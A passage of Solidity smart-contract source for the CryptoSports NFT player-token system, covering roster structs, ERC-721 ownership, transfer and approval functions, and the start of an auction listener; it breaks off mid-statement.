_prevCommissionerSalePrice, uint64 _lastMintedTime, uint32 _mintedCount, bool _hasActiveCommissionerAuction, bool _mintingEnabled) external; } /// @dev This is the data structure that holds a roster player in the CSportsLeagueRoster /// contract. Also referenced by CSportsCore. /// @author CryptoSports, Inc. (http://cryptosports.team) contract CSportsRosterPlayer { struct RealWorldPlayer { // The player's certified identification. This is the md5 hash of // {player's last name}-{player's first name}-{player's birthday in YYYY-MM-DD format}-{serial number} // where the serial number is usually 0, but gives us an ability to deal with making // sure all MD5s are unique. uint128 md5Token; // Stores the average sale price of the most recent 2 commissioner sales uint128 prevCommissionerSalePrice; // The last time this real world player was minted. uint64 lastMintedTime; // The number of PlayerTokens minted for this real world player uint32 mintedCount; // When true, there is an active auction for this player owned by // the commissioner (indicating a gen0 minting auction is in progress) bool hasActiveCommissionerAuction; // Indicates this real world player can be actively minted bool mintingEnabled; // Any metadata we want to attach to this player (in JSON format) string metadata; } } /// @title CSportsTeam Interface /// @dev This interface defines methods required by the CSportsContestCore /// in implementing a contest. /// @author CryptoSports contract CSportsTeam { bool public isTeamContract; /// @dev Define team events event TeamCreated(uint256 teamId, address owner); event TeamUpdated(uint256 teamId); event TeamReleased(uint256 teamId); event TeamScored(uint256 teamId, int32 score, uint32 place); event TeamPaid(uint256 teamId); function setCoreContractAddress(address _address) public; function setLeagueRosterContractAddress(address _address) public; function setContestContractAddress(address _address) public; function createTeam(address _owner, uint32[] _tokenIds) public returns (uint32); function updateTeam(address _owner, uint32 _teamId, uint8[] _indices, uint32[] _tokenIds) public; function releaseTeam(uint32 _teamId) public; function getTeamOwner(uint32 _teamId) public view returns (address); function scoreTeams(uint32[] _teamIds, int32[] _scores, uint32[] _places) public; function getScore(uint32 _teamId) public view returns (int32); function getPlace(uint32 _teamId) public view returns (uint32); function ownsPlayerTokens(uint32 _teamId) public view returns (bool); function refunded(uint32 _teamId) public; function tokenIdsForTeam(uint32 _teamId) public view returns (uint32, uint32[50]); function getTeam(uint32 _teamId) public view returns ( address _owner, int32 _score, uint32 _place, bool _holdsEntryFee, bool _ownsPlayerTokens); } /// @title Base contract for CryptoSports. Holds all common structs, events and base variables. /// @author CryptoSports, Inc. (http://cryptosports.team) /// @dev See the CSportsCore contract documentation to understand how the various contract facets are arranged. contract CSportsBase is CSportsAuth, CSportsRosterPlayer { /// @dev This emits when ownership of any NFT changes by any mechanism. /// This event emits when NFTs are created (`from` == 0) and destroyed /// (`to` == 0). Exception: during contract creation, any number of NFTs /// may be created and assigned without emitting Transfer. At the time of /// any transfer, the approved address for that NFT (if any) is reset to none. event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /// @dev This emits when the approved address for an NFT is changed or /// reaffirmed. The zero address indicates there is no approved address. /// When a Transfer event emits, this also indicates that the approved /// address for that NFT (if any) is reset to none. event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /// @dev This emits when an operator is enabled or disabled for an owner. /// The operator can manage all NFTs of the owner. event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /// @dev This emits when a commissioner auction is successfully closed event CommissionerAuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner); /// @dev This emits when a commissioner auction is canceled event CommissionerAuctionCanceled(uint256 tokenId); /******************/ /*** DATA TYPES ***/ /******************/ /// @dev The main player token structure. Every released player in the League /// is represented by a single instance of this structure. struct PlayerToken { // @dev ID of the real world player this token represents. We can only have // a max of 4,294,967,295 real world players, which seems to be enough for // a while (haha) uint32 realWorldPlayerId; // @dev Serial number indicating the number of PlayerToken(s) for this // same realWorldPlayerId existed at the time this token was minted. uint32 serialNumber; // The timestamp from the block when this player token was minted. uint64 mintedTime; // The most recent sale price of the player token in an auction uint128 mostRecentPrice; } /**************************/ /*** MAPPINGS (STORAGE) ***/ /**************************/ /// @dev A mapping from a PlayerToken ID to the address that owns it. All /// PlayerTokens have an owner (newly minted PlayerTokens are owned by /// the core contract). mapping (uint256 => address) public playerTokenToOwner; /// @dev Maps a PlayerToken ID to an address approved to take ownership. mapping (uint256 => address) public playerTokenToApproved; // @dev A mapping to a given address' tokens mapping(address => uint32[]) public ownedTokens; // @dev A mapping that relates a token id to an index into the // ownedTokens[currentOwner] array. mapping(uint32 => uint32) tokenToOwnedTokensIndex; /// @dev Maps operators mapping(address => mapping(address => bool)) operators; // This mapping and corresponding uint16 represent marketing tokens // that can be created by the commissioner (up to remainingMarketingTokens) // and then given to third parties in the form of 4 words that sha256 // hash into the key for the mapping. // // Maps uint256(keccak256) => leagueRosterPlayerMD5 uint16 public remainingMarketingTokens = MAX_MARKETING_TOKENS; mapping (uint256 => uint128) marketingTokens; /***************/ /*** STORAGE ***/ /***************/ /// @dev Instance of our CSportsLeagueRoster contract. Can be set by /// the CEO only once because this immutable tie to the league roster /// is what relates a playerToken to a real world player. If we could /// update the leagueRosterContract, we could in effect de-value the /// ownership of a playerToken by switching the real world player it /// represents. CSportsRosterInterface public leagueRosterContract; /// @dev Addresses of team contract that is authorized to hold player /// tokens for contests. CSportsTeam public teamContract; /// @dev An array containing all PlayerTokens in existence. PlayerToken[] public playerTokens; /************************************/ /*** RESTRICTED C-LEVEL FUNCTIONS ***/ /************************************/ /// @dev Sets the reference to the CSportsLeagueRoster contract. /// @param _address - Address of CSportsLeagueRoster contract. function setLeagueRosterContractAddress(address _address) public onlyCEO { // This method may only be called once to guarantee the immutable // nature of owning a real world player. if (!isDevelopment) { require(leagueRosterContract == address(0)); } CSportsRosterInterface candidateContract = CSportsRosterInterface(_address); // NOTE: verify that a contract is what we expect (not foolproof, just // a sanity check) require(candidateContract.isLeagueRosterContract()); // Set the new contract address leagueRosterContract = candidateContract; } /// @dev Adds an authorized team contract that can hold player tokens /// on behalf of a contest, and will return them to the original /// owner when the contest is complete (or if entry is canceled by /// the original owner, or if the contest is canceled). function setTeamContractAddress(address _address) public onlyCEO { CSportsTeam candidateContract = CSportsTeam(_address); // NOTE: verify that a contract is what we expect (not foolproof, just // a sanity check) require(candidateContract.isTeamContract()); // Set the new contract address teamContract = candidateContract; } /**************************/ /*** INTERNAL FUNCTIONS ***/ /**************************/ /// @dev Identifies whether or not the addressToTest is a contract or not /// @param addressToTest The address we are interested in function _isContract(address addressToTest) internal view returns (bool) { uint size; assembly { size := extcodesize(addressToTest) } return (size > 0); } /// @dev Returns TRUE if the token exists /// @param _tokenId ID to check function _tokenExists(uint256 _tokenId) internal view returns (bool) { return (_tokenId < playerTokens.length); } /// @dev An internal method that mints a new playerToken and stores it /// in the playerTokens array. /// @param _realWorldPlayerId ID of the real world player to mint /// @param _serialNumber - Indicates the number of playerTokens for _realWorldPlayerId /// that exist prior to this to-be-minted playerToken. /// @param _owner - The owner of this newly minted playerToken function _mintPlayer(uint32 _realWorldPlayerId, uint32 _serialNumber, address _owner) internal returns (uint32) { // We are careful here to make sure the calling contract keeps within // our structure's size constraints. Highly unlikely we would ever // get to a point where these constraints would be a problem. require(_realWorldPlayerId < 4294967295); require(_serialNumber < 4294967295); PlayerToken memory _player = PlayerToken({ realWorldPlayerId: _realWorldPlayerId, serialNumber: _serialNumber, mintedTime: uint64(now), mostRecentPrice: 0 }); uint256 newPlayerTokenId = playerTokens.push(_player) - 1; // It's probably never going to happen, 4 billion playerToken(s) is A LOT, but // let's just be 100% sure we never let this happen. require(newPlayerTokenId < 4294967295); // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(0, _owner, newPlayerTokenId); return uint32(newPlayerTokenId); } /// @dev Removes a token (specified by ID) from ownedTokens and /// tokenToOwnedTokensIndex mappings for a given address. /// @param _from Address to remove from /// @param _tokenId ID of token to remove function _removeTokenFrom(address _from, uint256 _tokenId) internal { // Grab the index into the _from owner's ownedTokens array uint32 fromIndex = tokenToOwnedTokensIndex[uint32(_tokenId)]; // Remove the _tokenId from ownedTokens[_from] array uint lastIndex = ownedTokens[_from].length - 1; uint32 lastToken = ownedTokens[_from][lastIndex]; // Swap the last token into the fromIndex position (which is _tokenId's // location in the ownedTokens array) and shorten the array ownedTokens[_from][fromIndex] = lastToken; ownedTokens[_from].length--; // Since we moved lastToken, we need to update its // entry in the tokenToOwnedTokensIndex tokenToOwnedTokensIndex[lastToken] = fromIndex; // _tokenId is no longer mapped tokenToOwnedTokensIndex[uint32(_tokenId)] = 0; } /// @dev Adds a token (specified by ID) to ownedTokens and /// tokenToOwnedTokensIndex mappings for a given address. /// @param _to Address to add to /// @param _tokenId ID of token to remove function _addTokenTo(address _to, uint256 _tokenId) internal { uint32 toIndex = uint32(ownedTokens[_to].push(uint32(_tokenId))) - 1; tokenToOwnedTokensIndex[uint32(_tokenId)] = toIndex; } /// @dev Assigns ownership of a specific PlayerToken to an address. /// @param _from - Address of who this transfer is from /// @param _to - Address of who to tranfer to /// @param _tokenId - The ID of the playerToken to transfer function _transfer(address _from, address _to, uint256 _tokenId) internal { // transfer ownership playerTokenToOwner[_tokenId] = _to; // When minting brand new PlayerTokens, the _from is 0x0, but we don't deal with // owned tokens for the 0x0 address. if (_from != address(0)) { // Remove the _tokenId from ownedTokens[_from] array (remove first because // this method will zero out the tokenToOwnedTokensIndex[_tokenId], which would // stomp on the _addTokenTo setting of this value) _removeTokenFrom(_from, _tokenId); // Clear our approved mapping for this token delete playerTokenToApproved[_tokenId]; } // Now add the token to the _to address' ownership structures _addTokenTo(_to, _tokenId); // Emit the transfer event. emit Transfer(_from, _to, _tokenId); } /// @dev Converts a uint to its string equivalent /// @param v uint to convert function uintToString(uint v) internal pure returns (string str) { bytes32 b32 = uintToBytes32(v); str = bytes32ToString(b32); } /// @dev Converts a uint to a bytes32 /// @param v uint to convert function uintToBytes32(uint v) internal pure returns (bytes32 ret) { if (v == 0) { ret = '0'; } else { while (v > 0) { ret = bytes32(uint(ret) / (2 ** 8)); ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31)); v /= 10; } } return ret; } /// @dev Converts bytes32 to a string /// @param data bytes32 to convert function bytes32ToString (bytes32 data) internal pure returns (string) { uint count = 0; bytes memory bytesString = new bytes(32); // = new bytes[]; //(32); for (uint j=0; j<32; j++) { byte char = byte(bytes32(uint(data) * 2 ** (8 * j))); if (char != 0) { bytesString[j] = char; count++; } else { break; } } bytes memory s = new bytes(count); for (j = 0; j < count; j++) { s[j] = bytesString[j]; } return string(s); } } /// @title ERC-721 Non-Fungible Token Standard /// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md /// Note: the ERC-165 identifier for this interface is 0x80ac58cd. interface ERC721 /* is ERC165 */ { /// @dev This emits when ownership of any NFT changes by any mechanism. /// This event emits when NFTs are created (`from` == 0) and destroyed /// (`to` == 0). Exception: during contract creation, any number of NFTs /// may be created and assigned without emitting Transfer. At the time of /// any transfer, the approved address for that NFT (if any) is reset to none. /// /// MOVED THIS TO CSportsBase because of how class structure is derived. /// event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); /// @dev This emits when the approved address for an NFT is changed or /// reaffirmed. The zero address indicates there is no approved address. /// When a Transfer event emits, this also indicates that the approved /// address for that NFT (if any) is reset to none. event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); /// @dev This emits when an operator is enabled or disabled for an owner. /// The operator can manage all NFTs of the owner. event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /// @notice Count all NFTs assigned to an owner /// @dev NFTs assigned to the zero address are considered invalid, and this /// function throws for queries about the zero address. /// @param _owner An address for whom to query the balance /// @return The number of NFTs owned by `_owner`, possibly zero function balanceOf(address _owner) external view returns (uint256); /// @notice Find the owner of an NFT /// @dev NFTs assigned to zero address are considered invalid, and queries /// about them do throw. /// @param _tokenId The identifier for an NFT /// @return The address of the owner of the NFT function ownerOf(uint256 _tokenId) external view returns (address); /// @notice Transfers the ownership of an NFT from one address to another address /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable; /// @notice Transfers the ownership of an NFT from one address to another address /// @dev This works identically to the other function with an extra data parameter, /// except this function just sets data to "". /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable; /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom(address _from, address _to, uint256 _tokenId) external payable; /// @notice Change or reaffirm the approved address for an NFT /// @dev The zero address indicates there is no approved address. /// Throws unless `msg.sender` is the current NFT owner, or an authorized /// operator of the current owner. /// @param _approved The new approved NFT controller /// @param _tokenId The NFT to approve function approve(address _approved, uint256 _tokenId) external payable; /// @notice Enable or disable approval for a third party ("operator") to manage /// all of `msg.sender`'s assets /// @dev Emits the ApprovalForAll event. The contract MUST allow /// multiple operators per owner. /// @param _operator Address to add to the set of authorized operators /// @param _approved True if the operator is approved, false to revoke approval function setApprovalForAll(address _operator, bool _approved) external; /// @notice Get the approved address for a single NFT /// @dev Throws if `_tokenId` is not a valid NFT. /// @param _tokenId The NFT to find the approved address for /// @return The approved address for this NFT, or the zero address if there is none function getApproved(uint256 _tokenId) external view returns (address); /// @notice Query if an address is an authorized operator for another address /// @param _owner The address that owns the NFTs /// @param _operator The address that acts on behalf of the owner /// @return True if `_operator` is an approved operator for `_owner`, false otherwise function isApprovedForAll(address _owner, address _operator) external view returns (bool); } /// @title ERC-721 Non-Fungible Token Standard, optional metadata extension /// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md /// Note: the ERC-165 identifier for this interface is 0x5b5e139f. interface ERC721Metadata /* is ERC721 */ { /// @notice A descriptive name for a collection of NFTs in this contract function name() external view returns (string _name); /// @notice An abbreviated name for NFTs in this contract function symbol() external view returns (string _symbol); /// @notice A distinct Uniform Resource Identifier (URI) for a given asset. /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC /// 3986. The URI may point to a JSON file that conforms to the "ERC721 /// Metadata JSON Schema". function tokenURI(uint256 _tokenId) external view returns (string); } /// @title ERC-721 Non-Fungible Token Standard, optional enumeration extension /// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md /// Note: the ERC-165 identifier for this interface is 0x780e9d63. interface ERC721Enumerable /* is ERC721 */ { /// @notice Count NFTs tracked by this contract /// @return A count of valid NFTs tracked by this contract, where each one of /// them has an assigned and queryable owner not equal to the zero address function totalSupply() external view returns (uint256); /// @notice Enumerate valid NFTs /// @dev Throws if `_index` >= `totalSupply()`. /// @param _index A counter less than `totalSupply()` /// @return The token identifier for the `_index`th NFT, /// (sort order not specified) function tokenByIndex(uint256 _index) external view returns (uint256); /// @notice Enumerate NFTs assigned to an owner /// @dev Throws if `_index` >= `balanceOf(_owner)` or if /// `_owner` is the zero address, representing invalid NFTs. /// @param _owner An address where we are interested in NFTs owned by them /// @param _index A counter less than `balanceOf(_owner)` /// @return The token identifier for the `_index`th NFT assigned to `_owner`, /// (sort order not specified) function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256); } /// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02. interface ERC721TokenReceiver { /// @notice Handle the receipt of an NFT /// @dev The ERC721 smart contract calls this function on the recipient /// after a `transfer`. This function MAY throw to revert and reject the /// transfer. Return of other than the magic value MUST result in the /// transaction being reverted. /// Note: the contract address is always the message sender. /// @param _operator The address which called `safeTransferFrom` function /// @param _from The address which previously owned the token /// @param _tokenId The NFT identifier which is being transferred /// @param _data Additional data with no specified format /// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` /// unless throwing function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) external returns(bytes4); } interface ERC165 { /// @notice Query if a contract implements an interface /// @param interfaceID The interface identifier, as specified in ERC-165 /// @dev Interface identification is specified in ERC-165. This function /// uses less than 30,000 gas. /// @return `true` if the contract implements `interfaceID` and /// `interfaceID` is not 0xffffffff, `false` otherwise function supportsInterface(bytes4 interfaceID) external view returns (bool); } /// @title The facet of the CSports core contract that manages ownership, ERC-721 compliant. /// @author CryptoSports, Inc. (http://cryptosports.team) /// @dev Ref: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md#specification /// See the CSportsCore contract documentation to understand how the various contract facets are arranged. contract CSportsOwnership is CSportsBase { /// @notice These are set in the contract constructor at deployment time string _name; string _symbol; string _tokenURI; // bool public implementsERC721 = true; // function implementsERC721() public pure returns (bool) { return true; } /// @notice A descriptive name for a collection of NFTs in this contract function name() external view returns (string) { return _name; } /// @notice An abbreviated name for NFTs in this contract function symbol() external view returns (string) { return _symbol; } /// @notice A distinct Uniform Resource Identifier (URI) for a given asset. /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC /// 3986. The URI may point to a JSON file that conforms to the "ERC721 /// Metadata JSON Schema". function tokenURI(uint256 _tokenId) external view returns (string ret) { string memory tokenIdAsString = uintToString(uint(_tokenId)); ret = string (abi.encodePacked(_tokenURI, tokenIdAsString, "/")); } /// @notice Find the owner of an NFT /// @dev NFTs assigned to zero address are considered invalid, and queries /// about them do throw. /// @param _tokenId The identifier for an NFT /// @return The address of the owner of the NFT function ownerOf(uint256 _tokenId) public view returns (address owner) { owner = playerTokenToOwner[_tokenId]; require(owner != address(0)); } /// @notice Count all NFTs assigned to an owner /// @dev NFTs assigned to the zero address are considered invalid, and this /// function throws for queries about the zero address. /// @param _owner An address for whom to query the balance /// @return The number of NFTs owned by `_owner`, possibly zero function balanceOf(address _owner) public view returns (uint256 count) { // I am not a big fan of referencing a property on an array element // that may not exist. But if it does not exist, Solidity will return 0 // which is right. return ownedTokens[_owner].length; } /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom( address _from, address _to, uint256 _tokenId ) public whenNotPaused { require(_to != address(0)); require (_tokenExists(_tokenId)); // Check for approval and valid ownership require(_approvedFor(_to, _tokenId)); require(_owns(_from, _tokenId)); // Validate the sender require(_owns(msg.sender, _tokenId) || // sender owns the token (msg.sender == playerTokenToApproved[_tokenId]) || // sender is the approved address operators[_from][msg.sender]); // sender is an authorized operator for this token // Reassign ownership (also clears pending approvals and emits Transfer event). _transfer(_from, _to, _tokenId); } /// @notice Transfer ownership of a batch of NFTs -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for all NFTs. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// any `_tokenId` is not a valid NFT. /// @param _from - Current owner of the token being authorized for transfer /// @param _to - Address we are transferring to /// @param _tokenIds The IDs of the PlayerTokens that can be transferred if this call succeeds. function batchTransferFrom( address _from, address _to, uint32[] _tokenIds ) public whenNotPaused { for (uint32 i = 0; i < _tokenIds.length; i++) { uint32 _tokenId = _tokenIds[i]; // Check for approval and valid ownership require(_approvedFor(_to, _tokenId)); require(_owns(_from, _tokenId)); // Validate the sender require(_owns(msg.sender, _tokenId) || // sender owns the token (msg.sender == playerTokenToApproved[_tokenId]) || // sender is the approved address operators[_from][msg.sender]); // sender is an authorized operator for this token // Reassign ownership, clear pending approvals (not necessary here), // and emit Transfer event. _transfer(_from, _to, _tokenId); } } /// @notice Change or reaffirm the approved address for an NFT /// @dev The zero address indicates there is no approved address. /// Throws unless `msg.sender` is the current NFT owner, or an authorized /// operator of the current owner. /// @param _to The new approved NFT controller /// @param _tokenId The NFT to approve function approve( address _to, uint256 _tokenId ) public whenNotPaused { address owner = ownerOf(_tokenId); require(_to != owner); // Only an owner or authorized operator can grant transfer approval. require((msg.sender == owner) || (operators[ownerOf(_tokenId)][msg.sender])); // Register the approval (replacing any previous approval). _approve(_tokenId, _to); // Emit approval event. emit Approval(msg.sender, _to, _tokenId); } /// @notice Change or reaffirm the approved address for an NFT /// @dev The zero address indicates there is no approved address. /// Throws unless `msg.sender` is the current NFT owner, or an authorized /// operator of the current owner. /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenIds The IDs of the PlayerTokens that can be transferred if this call succeeds. function batchApprove( address _to, uint32[] _tokenIds ) public whenNotPaused { for (uint32 i = 0; i < _tokenIds.length; i++) { uint32 _tokenId = _tokenIds[i]; // Only an owner or authorized operator can grant transfer approval. require(_owns(msg.sender, _tokenId) || (operators[ownerOf(_tokenId)][msg.sender])); // Register the approval (replacing any previous approval). _approve(_tokenId, _to); // Emit approval event. emit Approval(msg.sender, _to, _tokenId); } } /// @notice Escrows all of the tokensIds passed by transfering ownership /// to the teamContract. CAN ONLY BE CALLED BY THE CURRENT TEAM CONTRACT. /// @param _owner - Current owner of the token being authorized for transfer /// @param _tokenIds The IDs of the PlayerTokens that can be transferred if this call succeeds. function batchEscrowToTeamContract( address _owner, uint32[] _tokenIds ) public whenNotPaused { require(teamContract != address(0)); require(msg.sender == address(teamContract)); for (uint32 i = 0; i < _tokenIds.length; i++) { uint32 _tokenId = _tokenIds[i]; // Only an owner can transfer the token. require(_owns(_owner, _tokenId)); // Reassign ownership, clear pending approvals (not necessary here), // and emit Transfer event. _transfer(_owner, teamContract, _tokenId); } } bytes4 constant TOKEN_RECEIVED_SIG = bytes4(keccak256("onERC721Received(address,uint256,bytes)")); /// @notice Transfers the ownership of an NFT from one address to another address /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable { transferFrom(_from, _to, _tokenId); if (_isContract(_to)) { ERC721TokenReceiver receiver = ERC721TokenReceiver(_to); bytes4 response = receiver.onERC721Received.gas(50000)(msg.sender, _from, _tokenId, data); require(response == TOKEN_RECEIVED_SIG); } } /// @notice Transfers the ownership of an NFT from one address to another address /// @dev This works identically to the other function with an extra data parameter, /// except this function just sets data to "". /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable { require(_to != address(0)); transferFrom(_from, _to, _tokenId); if (_isContract(_to)) { ERC721TokenReceiver receiver = ERC721TokenReceiver(_to); bytes4 response = receiver.onERC721Received.gas(50000)(msg.sender, _from, _tokenId, ""); require(response == TOKEN_RECEIVED_SIG); } } /// @notice Count NFTs tracked by this contract /// @return A count of valid NFTs tracked by this contract, where each one of /// them has an assigned and queryable owner not equal to the zero address function totalSupply() public view returns (uint) { return playerTokens.length; } /// @notice Enumerate NFTs assigned to an owner /// @dev Throws if `index` >= `balanceOf(owner)` or if /// `owner` is the zero address, representing invalid NFTs. /// @param owner An address where we are interested in NFTs owned by them /// @param index A counter less than `balanceOf(owner)` /// @return The token identifier for the `index`th NFT assigned to `owner`, /// (sort order not specified) function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 _tokenId) { require(owner != address(0)); require(index < balanceOf(owner)); return ownedTokens[owner][index]; } /// @notice Enumerate valid NFTs /// @dev Throws if `index` >= `totalSupply()`. /// @param index A counter less than `totalSupply()` /// @return The token identifier for the `index`th NFT, /// (sort order not specified) function tokenByIndex(uint256 index) external view returns (uint256) { require (_tokenExists(index)); return index; } /// @notice Enable or disable approval for a third party ("operator") to manage /// all of `msg.sender`'s assets /// @dev Emits the ApprovalForAll event. The contract MUST allow /// multiple operators per owner. /// @param _operator Address to add to the set of authorized operators /// @param _approved True if the operator is approved, false to revoke approval function setApprovalForAll(address _operator, bool _approved) external { require(_operator != msg.sender); operators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /// @notice Get the approved address for a single NFT /// @dev Throws if `_tokenId` is not a valid NFT. /// @param _tokenId The NFT to find the approved address for /// @return The approved address for this NFT, or the zero address if there is none function getApproved(uint256 _tokenId) external view returns (address) { require(_tokenExists(_tokenId)); return playerTokenToApproved[_tokenId]; } /// @notice Query if a contract implements an interface /// @param interfaceID The interface identifier, as specified in ERC-165 /// @dev Interface identification is specified in ERC-165. This function /// uses less than 30,000 gas. /// @return `true` if the contract implements `interfaceID` and /// `interfaceID` is not 0xffffffff, `false` otherwise function supportsInterface(bytes4 interfaceID) public pure returns (bool) { return ( interfaceID == this.supportsInterface.selector || // ERC165 interfaceID == 0x5b5e139f || // ERC721Metadata interfaceID == 0x80ac58cd || // ERC-721 interfaceID == 0x780e9d63); // ERC721Enumerable } // Internal utility functions: These functions all assume that their input arguments // are valid. We leave it to public methods to sanitize their inputs and follow // the required logic. /// @dev Checks if a given address is the current owner of a particular PlayerToken. /// @param _claimant the address we are validating against. /// @param _tokenId kitten id, only valid when > 0 function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return playerTokenToOwner[_tokenId] == _claimant; } /// @dev Checks if a given address currently has transferApproval for a particular PlayerToken. /// @param _claimant the address we are confirming PlayerToken is approved for. /// @param _tokenId PlayerToken id, only valid when > 0 function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return playerTokenToApproved[_tokenId] == _claimant; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transferFrom() are used together for putting PlayerToken on auction, and /// there is no value in spamming the log with Approval events in that case. function _approve(uint256 _tokenId, address _approved) internal { playerTokenToApproved[_tokenId] = _approved; } } /// @dev Interface to the sale clock auction contract interface CSportsAuctionInterface { /// @dev Sanity check that allows us to ensure that we are pointing to the /// right auction in our setSaleAuctionAddress() call. function isSaleClockAuction() external pure returns (bool); /// @dev Creates and begins a new auction. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of auction (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external; /// @dev Reprices (and updates duration) of an array of tokens that are currently /// being auctioned by this contract. /// @param _tokenIds Array of tokenIds corresponding to auctions being updated /// @param _startingPrices New starting prices /// @param _endingPrices New ending price /// @param _duration New duration /// @param _seller Address of the seller in all specified auctions to be updated function repriceAuctions( uint256[] _tokenIds, uint256[] _startingPrices, uint256[] _endingPrices, uint256 _duration, address _seller ) external; /// @dev Cancels an auction that hasn't been won yet by calling /// the super(...) and then notifying any listener. /// @param _tokenId - ID of token on auction function cancelAuction(uint256 _tokenId) external; /// @dev Withdraw the total contract balance to the core contract function withdrawBalance() external; } /// @title Interface to allow a contract to listen to auction events. contract SaleClockAuctionListener { function implementsSaleClockAuctionListener() public pure returns (bool); function auctionCreated(uint256 tokenId, address seller, uint128 startingPrice, uint128 endingPrice, uint64 duration) public; function auctionSuccessful(uint256 tokenId, uint128 totalPrice, address seller, address buyer) public; function auctionCancelled(uint256 tokenId, address seller) public; } /// @title The facet of the CSports core contract that manages interfacing with auctions /// @author CryptoSports, Inc. (http://cryptosports.team) /// See the CSportsCore contract documentation to understand how the various contract facets are arranged. contract CSportsAuction is CSportsOwnership, SaleClockAuctionListener { // Holds a reference to our saleClockAuctionContract CSportsAuctionInterface public saleClockAuctionContract; /// @dev SaleClockAuctionLIstener interface method concrete implementation function implementsSaleClockAuctionListener() public pure returns (bool) { return true; } /// @dev SaleClockAuctionLIstener interface method concrete implementation function auctionCreated(uint256 /* tokenId */, address /* seller */, uint128 /* startingPrice */, uint128 /* endingPrice */, uint64 /* duration */) public { require (saleClockAuctionContract != address(0)); require (msg.sender == address(saleClockAuctionContract)); } /// @dev SaleClockAuctionLIstener interface method concrete implementation /// @param tokenId - ID of the token whose auction successfully completed /// @param totalPrice - Price at which the auction closed at /// @param seller - Account address of the auction seller /// @param winner - Account address of the auction winner (buyer) function auctionSuccessful(uint256 tokenId, uint128 totalPrice, address seller, address winner) public { require (saleClockAuctionContract != address(0)); require (msg.sender == address(saleClockAuctionContract)); // Record the most recent sale price to the token PlayerToken storage _playerToken = playerTokens[tokenId]; _playerToken.mostRecentPrice = totalPrice; if (seller == address(this)) { // We completed a commissioner auction! leagueRosterContract.commissionerAuctionComplete(playerTokens[tokenId].realWorldPlayerId, totalPrice); emit 